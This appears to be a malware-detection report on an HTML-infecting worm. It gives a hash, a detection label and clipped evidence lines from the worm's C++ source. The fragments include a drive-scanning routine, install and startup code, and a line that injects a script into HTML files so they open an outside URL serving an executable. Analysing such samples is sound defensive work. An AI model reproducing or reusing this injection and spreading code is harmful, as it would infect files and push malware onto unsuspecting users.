HTMLworm_WarGame.htm
Opens window to external HTTP URLBrowser window.open text call
SHA-25627a03e8ed1aa2353fd7494a7dd9cac60ca42a70022caf01849b8fee227632899
MaleculeH(U)
Evidence
8:13… arGame
9// Compiler: Borland C++
10// Description: This worm spreads by adding a link to itself in html files
11// Improvements: You could add a link to …
15:3… ing namespace std; // :)
16
17// This function does the real work
18void HTMLSpread(char *htmlfile)
19{
20 HANDLE html_fd;
21 DWORD html_filesize,rea …
76:28… pos,7,"\r\n<script language=\"javascript\">window.open('http://hexter.host.sk/artwork.exe')</script>\r\n</body>");
77
78 // write new file
79 SetFilePointer(html_fd,0,0,F …
110:7… CloseKey(hkey);
111 }
112}
113
114// This will scan drives for html files
115void S3arch(char *pt) {
116 char sc[MAX_PATH],buf[MAX_PATH];
117 WIN32_FIND_DATA in;
118 H …
161:2… // usual shit: installation part, startup and so on ...
162 char I_am_here[MAX_PATH],installation_path[MAX_PATH];
163 char Drives[3],Dr …